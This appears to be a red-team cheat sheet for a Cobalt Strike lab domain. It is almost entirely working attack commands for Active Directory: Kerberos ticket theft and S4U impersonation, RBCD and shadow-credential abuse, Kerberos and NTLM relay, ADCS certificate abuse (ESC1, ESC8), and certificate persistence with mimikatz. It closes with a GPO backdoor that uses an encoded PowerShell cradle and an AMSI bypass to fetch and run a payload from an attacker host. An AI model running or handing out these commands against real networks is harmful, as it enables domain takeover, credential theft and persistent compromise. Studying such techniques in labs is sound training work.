* beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe dump /luid:0x14794e /nowrap
* beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe monitor /interval:10 /nowrap
* beacon> execute-assembly C:\Tools\SharpSystemTriggers\SharpSpoolTrigger\bin\Release\SharpSpoolTrigger.exe dc-2.dev.cyberbotic.io web.dev.cyberbotic.io
* # Inject the TGT into a sacrificial Process and then try to access the machine share. You will get the error.
* beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /ticket:<TGT-TICKET>
* beacon> steal\_token 7656
* beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe klist
* beacon> ls \\dc-2.dev.cyberbotic.io\c$
* # Now Perform the S4U2Self Abuse to get the TGS from the injected TGT in the sacrificial process and use rubeus /ptt to directly pass the ticket to the sacrificial process. (Run it within Sacrificial Process)
* beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe s4u /user:dc-2$ /impersonateuser:Administrator /altservice:cifs/dc-2.dev.cyberbotic.io /self /nowrap /ptt /ticket:<TGT-TICKET>
* beacon> run klist
* beacon> ls \\dc-2.dev.cyberbotic.io\c$
* RBCD
* # Resource-Based Constrained Delegation (Systems having writable msDS-AllowedToActOnBehalfOfOtherIdentity)
* # RBCD can be configured to both Domain Machines objects and Domain User Objects, So enumerate both.
* # CASE-1 : Have Local Admin Access to any Domain Joined Machine.
* #1. Identify the Computer Objects which has AllowedToActOnBehalfOfOtherIdentity attribute defined
* beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(&(objectCategory=computer)(msDS-AllowedToActOnBehalfOfOtherIdentity=\*))" --attributes dnshostname,samaccountname,msDS-AllowedToActOnBehalfOfOtherIdentity --json
* beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(&(objectCategory=user)(msDS-AllowedToActOnBehalfOfOtherIdentity=\*))" --attributes dnshostname,samaccountname,msDS-AllowedToActOnBehalfOfOtherIdentity --json
* #2. OR, Identify the Domain Computer where we have WriteProperty, GenericAll, GenericWrite or WriteDacl and can write this atribute with custom value.
* beacon> powershell-import c:\Tools\PowerSploit\Recon\PowerView.ps1
* beacon> powerpick Get-DomainSid -Domain dev.cyberbotic.io
* beacon> powerpick Get-DomainComputer | Get-DomainObjectAcl -ResolveGUIDs | ? { $\_.ActiveDirectoryRights -match "WriteProperty|GenericWrite|GenericAll|WriteDacl"}
* beacon> powerpick Get-DomainComputer | Get-DomainObjectAcl -ResolveGUIDs | ? { $\_.ActiveDirectoryRights -match "WriteProperty|GenericWrite|GenericAll|WriteDacl" -and $\_.SecurityIdentifier -match "S-1-5-21-569305411-121244042-2357301523-[\d]{4,10}" }
* beacon> powerpick Get-DomainUser | Get-DomainObjectAcl -ResolveGUIDs | ? { $\_.ActiveDirectoryRights -match "WriteProperty|GenericWrite|GenericAll|WriteDacl" -and $\_.SecurityIdentifier -match "S-1-5-21-569305411-121244042-2357301523-[\d]{4,10}" }
* beacon> powerpick ConvertFrom-SID S-1-5-21-569305411-121244042-2357301523-1107
* beacon> powerpick Get-DomainGroupMember -Identity "Developers" -Domain dev.cyberbotic.io -Recurse
* #3. Set the delegation attribute to a Computer Account where we have local admin access by modifying the attribute of target system
* # If we do not have Local Admin Access to any computer and only have User access then we can create Computer Object and Use it to abuse RBCD. Check Case-2.
* beacon> powerpick Get-DomainComputer -Identity wkstn-2 -Properties objectSid
* beacon> powerpick $rsd = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-569305411-121244042-2357301523-1109)"; $rsdb = New-Object byte[] ($rsd.BinaryLength); $rsd.GetBinaryForm($rsdb, 0); Get-DomainComputer -Identity "dc-2" | Set-DomainObject -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity' = $rsdb} -Verbose
* #4. Verify the updated attribute
* beacon> powerpick Get-DomainComputer -Identity "dc-2" -Properties msDS-AllowedToActOnBehalfOfOtherIdentity
* #5. Get the TGT of our computer
* beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe triage
* beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe dump /luid:0x3e4 /service:krbtgt /nowrap
* #6. Use S4U technique to get TGS for target computer using our TGT
* beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe s4u /user:WKSTN-2$ /impersonateuser:nlamb /msdsspn:cifs/dc-2.dev.cyberbotic.io /ticket:doIFuD[...]5JTw== /nowrap
* #7. Access the services
* beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:DEV /username:nlamb /password:FakePass /ticket:doIGcD[...]MuaW8=
* beacon> steal\_token 4092
* beacon> ls \\dc-2.dev.cyberbotic.io\c$
* #8. Remove the delegation rights
* beacon> powerpick Get-DomainComputer -Identity dc-2 | Set-DomainObject -Clear msDS-AllowedToActOnBehalfOfOtherIdentity
* # CASE-2 : Have Access to a Domain User but not Local Admin on Domain Joined Machine
* # Create Fake computer Account for RBCD Attack
* #1. Check if we have permission to create computer account (default allowed)
* beacon> powershell-import c:\Tools\PowerSploit\Recon\PowerView.ps1
* beacon> powerpick Get-DomainObject -Identity "DC=dev,DC=cyberbotic,DC=io" -Properties ms-DS-MachineAccountQuota
* #2. Create a fake computer with random password and then generate password hash using Rubeus
* # If You wants to create a new computer object for a different Forest using StandIn Tool, Then Read this blog by Rasta - https://rastamouse.me/getdomain-vs-getcomputerdomain-vs-getcurrentdomain/
* # Note: StandIn code needs to be modified if you wants to create a Computer in another Domain using --Domain parameter. (https://github.com/FuzzySecurity/StandIn/pull/17)
* beacon> execute-assembly C:\Tools\StandIn\StandIn\StandIn\bin\Release\StandIn.exe --computer EvilComputer --make --Domain dev.cyberbotic.io
* PS> C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe hash /password:oIrpupAtF1YCXaw /user:EvilComputer$ /domain:dev.cyberbotic.io
* #3. Use the Hash to get TGT for our fake computer, and rest of the steps remains same, Follow case-1
* beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:EvilComputer$ /aes256:7A79DCC14E6508DA9536CD949D857B54AE4E119162A865C40B3FFD46059F7044 /nowrap
* Shadow Credentials
* # Shadow Credentials
* #1. Enumerate the Permissions GenericWrite/GenericAll to modify the attribute msDS-KeyCredentialLink for User or Computer Object.
* beacon> powershell-import C:\Tools\PowerSploit\Recon\PowerView.ps1
* beacon> powerpick Find-InterestingDomainAcl -ResolveGUIDs | ?{$\_.IdentityReferenceName -match "Domain Users"}
* beacon> powerpick Get-DomainSid -Domain dev.cyberbotic.io
* beacon> powerpick Get-DomainComputer | Get-DomainObjectAcl -ResolveGUIDs | ? { $\_.ActiveDirectoryRights -match "WriteProperty|GenericWrite|GenericAll|WriteDacl"}
* beacon> powerpick Get-DomainComputer | Get-DomainObjectAcl -ResolveGUIDs | ? { $\_.ActiveDirectoryRights -match "WriteProperty|GenericWrite|GenericAll|WriteDacl" -and $\_.SecurityIdentifier -match "S-1-5-21-569305411-121244042-2357301523-[\d]{4,10}" }
* beacon> powerpick Get-DomainUser | Get-DomainObjectAcl -ResolveGUIDs | ? { $\_.ActiveDirectoryRights -match "WriteProperty|GenericWrite|GenericAll|WriteDacl"}
* beacon> powerpick Get-DomainUser | Get-DomainObjectAcl -ResolveGUIDs | ? { $\_.ActiveDirectoryRights -match "WriteProperty|GenericWrite|GenericAll|WriteDacl" -and $\_.SecurityIdentifier -match "S-1-5-21-569305411-121244042-2357301523-[\d]{4,10}" }
* beacon> powerpick ConvertFrom-SID S-1-5-21-569305411-121244042-2357301523-1107
* beacon> powerpick Get-DomainGroupMember -Identity "Developers" -Domain dev.cyberbotic.io -Recurse
* #2-a. List any keys that might already be present for a target - this is important for when we want to clean up later. (Add $ for computer objects in /target)
* beacon> execute-assembly C:\Tools\Whisker\Whisker\bin\Release\Whisker.exe list /target:dc-2$
* #2-b. Enumerate for Users or Computers which might already be configured for Using Shadow Credentials
* beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(&(objectCategory=computer)(msDS-KeyCredentialLink=\*))" --attributes dnshostname,samaccountname,msDS-AllowedToActOnBehalfOfOtherIdentity --json
* beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(&(objectCategory=user)(msDS-KeyCredentialLink=\*))" --attributes dnshostname,samaccountname,msDS-AllowedToActOnBehalfOfOtherIdentity --json
* #3. Then, Add a new key pair to the target. (Note the DeviceID GUID added. So we can remove later on.)
* beacon> execute-assembly C:\Tools\Whisker\Whisker\bin\Release\Whisker.exe add /target:dc-2$
* #4. Check if Shadow Credential is added.
* # Using Whisker
* beacon> execute-assembly C:\Tools\Whisker\Whisker\bin\Release\Whisker.exe list /target:dc-2$
* # Using PowerView
* beacon> powerpick Get-DomainUser -Identity supportXuser
* beacon> powerpick Get-DomainComputer -Identity dc-2
* #5. And now, we can ask for a TGT leveraging the certificate and using the Rubeus command that Whisker provides.
* beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:dc-2$ /certificate:MIIJuA[...snip...]ICB9A= /password:"y52EhYqlfgnYPuRb" /nowrap
* #6-a. For machine account TGT , we can perform S4U2Self Abuse and get a TGS
* # Generate TGS from TGT
* beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe s4u /impersonateuser:nlamb /self /altservice:cifs/dc-2.dev.cyberbotic.io /user:dc-2$ /nowrap /ticket:doIFuj[...]lDLklP
* # Inject TGS in a sacrificial process
* beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:DEV /username:nlamb /password:FakePass /ticket:doIFyD[...]MuaW8=
* beacon> steal\_token 2664
* beacon> ls \\dc-2.dev.cyberbotic.io\c$
* #6-b. For a User Account TGT, We can just inject it by creating a sacrificial Process.
* beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:DEV /username:nlamb /password:FakePass /ticket:doIFyD[...]MuaW8=
* beacon> steal\_token 2664
* beacon> ls \\dc-2.dev.cyberbotic.io\c$
* #7. Now we can clean Up , Whisker's clear command will remove any and all keys from msDS-KeyCredentialLink.
* #List all the entries
* beacon> execute-assembly C:\Tools\Whisker\Whisker\bin\Release\Whisker.exe list /target:dc-2$
* #Remove specific entries
* beacon> execute-assembly C:\Tools\Whisker\Whisker\bin\Release\Whisker.exe remove /target:dc-2$ /deviceid:58d0ccec-1f8c-4c7a-8f7e-eb77bc9be403
* Kerberos Relay Attacks
* # Kerberos Relay Attack (To Get Local Privilege Escalation from User to System)
* # 1- Configuring Cobalt Strike for Kerberos Relay Attack
* # 1.1 - Krbrelay uses BouncyCastle Crypto package , Which is quite large , its size is larger than the default task size allowed for beacon. Trying to run it with `execute-assembly` will throw an error.
* beacon> execute-assembly C:\Tools\KrbRelay\KrbRelay\bin\Release\KrbRelay.exe
* [-] Task size of 1727291 bytes is over the max task size limit of 1048576 bytes.
* # 1.2 - To fix it we have to modify the Malleable C2 profile and double the task size tasks\_max\_size. Add below line to the top of your malleable C2 profile.
* set tasks\_max\_size "2097152";
* # After updating the C2 Profile reload the teamserver service
* $ sudo systemctl daemon-reload
* $ sudo systemctl status teamserver.service
* $ sudo systemctl stop teamserver.service
* $ sudo systemctl start teamserver.service
* $ sudo systemctl enable teamserver.service
* #----------------------------------------------------------------------------------
* # 2- Using Kerberos Relay Attack with RBCD Abuse
* # For help Check Notes : https://gist.github.com/tothi/bf6c59d6de5d0c9710f23dae5750c4b9
* # 2.1 - To abuse RBCD we must have Local System access to a Domain Computer, Same as RBCD abuse we can just create a new Computer Object and use it
* # Create a Computer object
* beacon> execute-assembly C:\Tools\StandIn\StandIn\StandIn\bin\Release\StandIn.exe --computer EvilComputer --make --domain dev.cyberbotic.io
* # Get its SID
* beacon> powershell-import c:\Tools\PowerSploit\Recon\PowerView.ps1
* beacon> powerpick Get-DomainComputer -Identity EvilComputer -Properties objectsid
* # 2.2 - Using Checkport, find a suitable port for the OXID resolver to circumvent a check in the (RPCSS).
* beacon> execute-assembly C:\Tools\KrbRelay\CheckPort\bin\Release\CheckPort.exe
* # 2.3 - Run KrbRelay at that port (Using -rbcd argument)
* beacon> execute-assembly C:\Tools\KrbRelay\KrbRelay\bin\Release\KrbRelay.exe -spn ldap/dc-2.dev.cyberbotic.io -clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8 -rbcd S-1-5-21-569305411-121244042-2357301523-9101 -port 10
* # 2.4 - Now, If we query WKSTN-2$, we'll see that there's now an entry in in its \*msDS-AllowedToActOnBehalfOfOtherIdentity\* attribute.
* beacon> powerpick Get-DomainComputer -Identity wkstn-2 -Properties msDS-AllowedToActOnBehalfOfOtherIdentity
* # 2.5 - We have new added comp credentials So we can request a TGT and perform an S4U to obtain a usable service tickets (TGS) for WKSTN-2.
* # Using Machine Password to get the hash
* PS> C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe hash /password:oIrpupAtF1YCXaw /user:EvilComputer$ /domain:dev.cyberbotic.io
* # Using hash to get the TGT
* beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:EvilComputer$ /aes256:1DE19DC9065CFB29D6F3E034465C56D1AEC3693DB248F04335A98E129281177A /nowrap
* # Use S4U technique to get TGS for target computer using our TGT
* # we do not use the FQDN of the target machine in the msdsspn parameter, We used host/wkstn-2.
* beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe s4u /user:EvilComputer$ /impersonateuser:Administrator /msdsspn:host/wkstn-2 /ticket:doIF8j[...snip...]MuaW8= /ptt
* # 2.6 - To perform the elevation, use this TGS to interact with the local Service Control Manager over Kerberos to create and start a service binary payload.
* # Use BOF and Aggressor Script that registers a new elevate command in Beacon.
* # C:\Tools\SCMUACBypass and is based on James' SCMUACBypass [](https://gist.github.com/tyranid/c24cfd1bd141d14d4925043ee7e03c82)gist.
* beacon> elevate svc-exe-krb tcp-local
* #----------------------------------------------------------------------------------
* # 3- Using Kerberos Relay Attack with Shadow Credential Abuse
* # The advantage of using shadow credentials over RBCD is that we don't need to add a fake computer to the domain.
* # 3.1 - Verify that WKSTN-2 (Target Machine) has nothing in its msDS-KeyCredentialLink attribute.
* beacon> execute-assembly C:\Tools\Whisker\Whisker\bin\Release\Whisker.exe list /target:wkstn-2$
* # 3.2 - Run KrbRelay as before (in Kerberos Relay with RBCD above), but this time with the -shadowcred parameter.
* # if gets error like (0x800706D3): The authentication service is unknown. then reboot the machine
* beacon> execute-assembly C:\Tools\KrbRelay\KrbRelay\bin\Release\KrbRelay.exe -spn ldap/dc-2.dev.cyberbotic.io -clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8 -shadowcred -port 10
* # 3.3 - Like Whisker does, KrbRelay provides Rubeus command that will request a TGT for WKSTN-2. However, it will return an RC4 ticket so if you want an AES instead, do.
* beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:WKSTN-2$ /certificate:MIIJyA[...snip...]QCAgfQ /password:"06ce8e51-a71a-4e0c-b8a3-992851ede95f" /enctype:aes256 /nowrap
* # 3.4 - The S4U2Self trick can then be used to obtain a HOST service ticket like we did with RBCD.
* beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe s4u /impersonateuser:Administrator /self /altservice:host/wkstn-2 /user:wkstn-2$ /ticket:doIGkD[...snip...]5pbw== /ptt

**Active Directory Certificate Services**

# Finding Certificate Authorities

beacon> execute-assembly C:\Tools\Certify\Certify\bin\Release\Certify.exe cas /domain:dev.cyberbotic.io

# Miconfigured Certificate template (By dafault /vulnerable parameter looks only for Domain Users group in Enrollment Rights)

beacon> execute-assembly C:\Tools\Certify\Certify\bin\Release\Certify.exe find /vulnerable

beacon> execute-assembly C:\Tools\Certify\Certify\bin\Release\Certify.exe find

beacon> execute-assembly C:\Tools\Certify\Certify\bin\Release\Certify.exe find /enrolleeSuppliesSubject

#------------------------------------------------------------------------------------

# ESC1 ( ENROLLEE\_SUPPLIES\_SUBJECT ) - Misconfigured Certificate Templates

# 1. Find the misconfigured certificate,

# Look for Enrollment Rights,

# check if \*ENROLLEE\_SUPPLIES\_SUBJECT\* is enabled in property (msPKI-Certificate-Name-Flag)

# certificate usage (pkiextendedkeyusage) has \*Client Authentication\* set.

beacon> execute-assembly C:\Tools\Certify\Certify\bin\Release\Certify.exe find /vulnerable

beacon> getuid

beacon> execute-assembly C:\Tools\Certify\Certify\bin\Release\Certify.exe find /enrolleeSuppliesSubject

# 2. Request a Certificate for other domain user (Domain Admin)

beacon> execute-assembly C:\Tools\Certify\Certify\bin\Release\Certify.exe request /ca:dc-2.dev.cyberbotic.io\sub-ca /template:CustomUser /altname:nlamb /domain:dev.cyberbotic.io

# For OutBound Forests the Certify fails , So either use Certreq or modify the Certify Source code.

- Check this for help : [https://github.com/GhostPack/Certify/issues/13#issuecomment-1716046133](https://github.com/GhostPack/Certify/issues/13#issuecomment-1716046133)

# 3. Copy the whole certificate (both the private key and certificate) and save it to .pem file. Then use openssl command to convert it to pfx format.

ubuntu@DESKTOP-3BSK7NO ~> openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

# Convert .pfx into a base64 encoded string so it can be used with Rubeus

ubuntu@DESKTOP-3BSK7NO ~> cat cert.pfx | base64 -w 0

# 4. use asktgt to request a TGT for the user using the certificate

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:nlamb /password:pass123 /nowrap /certificate:MIIM7w[...]ECAggA

# 5. Inject the TGT and look for Local Admin Access on other domain computers

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:DEV /username:nlamb /password:FakePass /ticket:doIFyD[...]MuaW8=

beacon> steal\_token 2664

# Look for Local Admin Access on other domain computers.

beacon> powershell-import c:\Tools\PowerSploit\Recon\PowerView.ps1

beacon> powerpick Find-LocalAdminAccess -Verbose

# Then check if you can access anything on that machine.

#----------------------------------------------------------------

\*\*# ESC8 - NTLM Relaying to ADCS HTTP Endpoints\*\*

## Prerequisite

# If both DC and CA are setup on same machine then we wouldn’t be able to relay a DC to a CA. In that case we can use ESC8 to gain access to machine where unconstrained delegation is configured, So that we can abuse the unconstrained Delegation later on.

# Web End point for certificate services is at http[s]://<hostname>/certsrv.

# Redirect the NTLM auth traffic using PrintSpool attack from DC to CA (if services running on seperate system) to fetch the DC Certificate

# But if they are both running on same server then we can execute the attack targetting a system where unconstrained delegation (WEB) is allowed, and force it to authenticate with CA to capture its certificate

# Do the same setup for ntlmrelayx and use print spooler to force DC/WEB to authenticate with wkstn2

# 1. Setup socks proxy (beacon session)

beacon> socks 1080 socks5 disableNoAuth socks\_user socks\_password enableLogging

beacon> socks 8090 socks4

beacon> socks stop

# 2. Setup Proxychains to use this proxy

$ sudo nano /etc/proxychains.conf

socks5 127.0.0.1 1080 socks\_user socks\_password

# 3. Execute NTLMRelayx to target the certificate server endpoint

# Find the IP of the CA (DA and CA are both same in lab).

beacon> powerpick Get-IPAddress -Identity dc-2

attacker@ubuntu ~> sudo proxychains ntlmrelayx.py -t https://<CA-ip>/certsrv/certfnsh.asp -smb2support --adcs --no-http-server

attacker@ubuntu ~> sudo proxychains ntlmrelayx.py -t https://10.10.122.10/certsrv/certfnsh.asp -smb2support --adcs --no-http-server

# 4. Setup reverse port forwarding (System shell)

beacon> rportfwd 8445 127.0.0.1 445

beacon> rportfwd stop 8445

# 5. Upload PortBender driver and load its cna file (System shell)

beacon> cd C:\Windows\system32\drivers

beacon> upload C:\Tools\PortBender\WinDivert64.sys

beacon> PortBender redirect 445 8445

# To kill portbender , Kill the job

beacon> jobs

beacon> jobkill <JID>

# 6. Use PrintSpool attack to force WEB (unconstrained) server to authenticate with wkstn 2 (Domain Sesion)

beacon> execute-assembly C:\Tools\SharpSystemTriggers\SharpSpoolTrigger\bin\Release\SharpSpoolTrigger.exe <Unconstrained-Machine-IP> <Current-Machine-IP>

beacon> execute-assembly C:\Tools\SharpSystemTriggers\SharpSpoolTrigger\bin\Release\SharpSpoolTrigger.exe 10.10.122.30 10.10.123.102

# 7. Use the Base64 encoded machine certificate obtained to get TGT of machine account

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:WEB$ /certificate:MIIM7w[...]ECAggA /nowrap

# 8. Use the TGT ticket obtained for S4U attack to get a service ticket TGS.

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe s4u /impersonateuser:Administrator /self /altservice:cifs/web.dev.cyberbotic.io /nowrap /user:WEB$ /ticket:doIFuj[...]lDLklP

# 9. Inject the Service Ticket by creating a new sacrificial token

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:DEV /username:Administrator /password:FakePass /ticket:doIFyD[...]MuaW8=tok

# 10. Steal token and access the service

beacon> steal\_token 1234

beacon> ls \\web.dev.cyberbotic.io\c$

# 11. Revert all the changes made during attack

beacon> socks stop

beacon> jobs

beacon> jobkill <portbender-Job-ID>

beacon> rportfwd stop 8445

#------------------------------------------------------------------------------------

## PERSIST-1 & PERSIST-2 : User & Computer Persistance

# PERSIST-1 : User Persistance

# 1-a. Enumerate and export user certificate from their Personal Certificate store (execute from user session)

beacon> execute-assembly C:\Tools\Seatbelt\Seatbelt\bin\Release\Seatbelt.exe Certificates

# Export the certificate as DER and PFX file on disk

beacon> mimikatz crypto::certificates /export

# 1-b. If the user does not have a certificate in their store, we can just request one with Certify. Make sure we are in Domain user's sessions context of user for which we are requesting certificate.

beacon> execute-assembly C:\Tools\Certify\Certify\bin\Release\Certify.exe request /ca:dc-2.dev.cyberbotic.io\sub-ca /template:User

# Save the Private And Public key both in a file with .pem extension

# Then convert the .pem file to .pfx

ubuntu@DESKTOP-3BSK7NO ~> openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

# 2. Encode the PFX file to be used with Rubeus

ubuntu@DESKTOP-3BSK7NO ~> cat /mnt/c/Users/Attacker/Desktop/CURRENT\_USER\_My\_0\_Nina\ Lamb.pfx | base64 -w 0

# 3. Use certificate to request TGT for the user (/enctype:aes256 - Better OPSEC)

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:nlamb /certificate:MIINeg[...]IH0A== /password:mimikatz /enctype:aes256 /nowrap

# 4. Inject the User TGT and look for Local Admin access on Domain machines.

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:DEV /username:nlamb /password:FakePass /ticket:doIFyD[...]MuaW8=

beacon> steal\_token 2664

# Look for Local Admin Access on other domain computers

beacon> powerpick Find-LocalAdminAccess -Verbose

# Then check if you can access anything on that machine.

# PERSIST-2 : Computer Persistance

# 1-a. Export the machine certificate (requires elevated session)

beacon> execute-assembly C:\Tools\Seatbelt\Seatbelt\bin\Release\Seatbelt.exe Certificates

beacon> mimikatz !crypto::certificates /systemstore:local\_machine /export

beacon> download local\_machine\_My\_0\_wkstn-2.dev.cyberbotic.io.pfx

# 1-b. If machine certificate it not stored, we can requet it using Certify (/machine param is required for auto elevation to system privilege)

beacon> execute-assembly C:\Tools\Certify\Certify\bin\Release\Certify.exe request /ca:dc-2.dev.cyberbotic.io\sub-ca /template:Machine /machine

# Save the Private And Public key both in a file with .pem extension

# Then convert the .pem file to .pfx

ubuntu@DESKTOP-3BSK7NO ~> openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

# 2. Encode the certificate, and use it with Rubeus to get TGT for machine account.

ubuntu@DESKTOP-3BSK7NO ~> cat /mnt/c/Users/Attacker/Desktop/local\_machine\_My\_0\_wkstn-2.dev.cyberbotic.io.pfx | base64 -w 0

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:WKSTN-1$ /enctype:aes256 /certificate:MIINCA[...]IH0A== /password:mimikatz /nowrap

# 3. Then Using S4U2Self to get the TGS from the Machine TGT.

# Generate TGS from TGT

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe s4u /impersonateuser:Administrator /self /altservice:cifs/web.dev.cyberbotic.io /user:WEB$ /nowrap /ticket:doIFuj[...]lDLklP

# Inject TGS in a sacrificial process

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:DEV /username:Administrator /password:FakePass /ticket:doIFyD[...]MuaW8=

beacon> steal\_token 2664

beacon> ls \\web.dev.cyberbotic.io\c$

**Group Policy**

\*\*# Modify Existing GPO\*\*

# 1. Identify GPO where current principal has modify rights

beacon> powershell-import c:\Tools\PowerSploit\Recon\PowerView.ps1

beacon> powerpick Get-DomainSID -Domain dev.cyberbotic.io

beacon> powerpick Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | ? { $\_.ActiveDirectoryRights -match "CreateChild|WriteProperty" -and $\_.SecurityIdentifier -match "S-1-5-21-569305411-121244042-2357301523-[\d]{4,10}" }

# 2. Resolve GPOName, Path and SID of principal

beacon> powerpick Get-DomainGPO -Identity "CN={5059FAC1-5E94-4361-95D3-3BB235A23928},CN=Policies,CN=System,DC=dev,DC=cyberbotic,DC=io" | select displayName, gpcFileSysPath

beacon> powerpick ConvertFrom-SID S-1-5-21-569305411-121244042-2357301523-1107

beacon> powerpick Get-DomainGroupMember -Identity "Developers" -Domain dev.cyberbotic.io -Recurse

beacon> ls \\dev.cyberbotic.io\SysVol\dev.cyberbotic.io\Policies\{5059FAC1-5E94-4361-95D3-3BB235A23928}

# 3. Identify the domain OU where the above GPO applies

beacon> powerpick Get-DomainOU -GPLink "{5059FAC1-5E94-4361-95D3-3BB235A23928}" | select distinguishedName

# 4. Identify the systems under the given OU

beacon> powerpick Get-DomainComputer -SearchBase "OU=Workstations,DC=dev,DC=cyberbotic,DC=io" | select dnsHostName

# 5. Setup a smb listener and download & execute cradle pointing to port 80

# Make sure to use AMSI Bypass with the powershell cradle.

PS C:\> $str = "iex (iwr http://wkstn-2:8080/amsi-bypass.ps1 -UseBasicParsing) ; iex (iwr http://wkstn-2:8080/smb -UseBasicParsing);"

PS C:\> [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($str))

powershell -w hidden -nop -enc aQBlAHgAIAAoAGkAdwByACAAaAB0AHQAcAA6AC8ALwB3AGsAcwB0AG4ALQAyADoAOAAwADgAMAAvAGEAbQBzAGkALQBiAHkAcABhAHMAcwAuAHAAcwAxACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwApACAAOwAgAGkAZQB4ACAAKABpAHcAcgAgAGgAdAB0AHAAOgAvAC8AdwBrAHMAdABuAC0AMgA6ADgAMAA4ADAALwBzAG0AYgAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQA7AA==

# 6. Enable inbound traffic on WebDrive by ports (8080) (requires system access)

beacon> powerpick New-NetFirewallRule -DisplayName "Rule 1" -Profile Domain -Direction Inbound -Action Allow -Protocol TCP -LocalPort 8080

beacon> powershell Remove-NetFirewallRule -DisplayName "Rule 1"

# 7. Setup port forwarding rule to accept the Payload Download request locally and forward to our team server

beacon> rportfwd 8080 127.0.0.1 80

beacon> rportfwd stop 8080

beacon> run netstat -anp tcp

# 8. Use sharpGPOAbuse to add the backdoor (scheduled task) for execution on targetted system

# iex (iwr http://wkstn-2:8080/amsi-bypass.ps1 -UseBasicParsing) ; iex (iwr http://wkstn-2:8080/smb -UseBasicParsing);

execute-assembly C:\Tools\SharpGPOAbuse\SharpGPOAbuse\bin\Release\SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITY\SYSTEM --Command "C:\Windows\System32\cmd.exe" --Arguments "/c powershell -w hidden -nop -enc aQBlAHgAIAAoAGkAdwByACAAaAB0AHQAcAA6AC8ALwB3AGsAcwB0AG4ALQAyADoAOAAwADgAMAAvAGEAbQBzAGkALQBiAHkAcABhAHMAcwAuAHAAcwAxACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwApACAAOwAgAGkAZQB4ACAAKABpAHcAcgAgAGgAdAB0AHAAOgAvAC8AdwBrAHMAdABuAC0AMgA6ADgAMAA4ADAALwBzAG0AYgAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQA7AA==" --GPOName "Vulnerable GPO" --Force

# 9. Now as we are using smb listener , We have to manually link with each machine that were present in the OU where this GPO was applied.

# Make sure to monitor the web log in cobalt strike for Payload Downloads, And connect to the Smb beacon.

beacon> link WKSTN-1 TSVCPIPE-4036c92b-65ae-4601-1337-57f7b24a0c57

# 10. Lastly, either we can wait for the GPO to be applied or force update to get reverse shell

cmd> gpupdate /force

# 11. Cleaup

beacon> rportfwd stop 8080

